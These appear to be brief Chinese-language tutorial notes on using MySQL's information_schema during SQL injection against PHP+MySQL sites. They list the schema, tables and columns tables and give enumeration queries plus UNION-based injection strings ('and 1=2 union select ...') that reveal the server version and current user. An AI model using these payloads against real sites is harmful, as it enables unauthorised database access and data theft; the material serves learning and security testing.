元数据库information_schema
在5.0以后版本的MYSQL中存在着一个元数据information_schema,其中存储着用户在MYSQL中创建的所有其他数据库的信息。
当对PHP+MYSQL类网站进行注入时,主要是针对information_schema数据库进行操作;
比较重要的数据表:
schema:用于存放所有数据库的名字;
tables:用于存放所有数据库中的数据表的名字;
columns:用于存放所有数据库的所有数据表中的所有字段的名字;
eg.
查看数据库cms0308数据库中包含了那些表:
select table_name from information_schema.tables where table_schema = "cms0308";
查看hack数据表中包含了哪些字段:
select column_name from information_schema.columns where table_name="hack";
通过加上1=2用于造成前面的语句错误,只显示后面select1,2的内容:
select * from hack where id=1 and 1=2 union select 1,2
若没有加上1=2,上述语句将只返回前面正确内容。
查看当前版本号,当前用户:
select * from hack where id=1 and 1=2 union select 1,version(),user(),4,5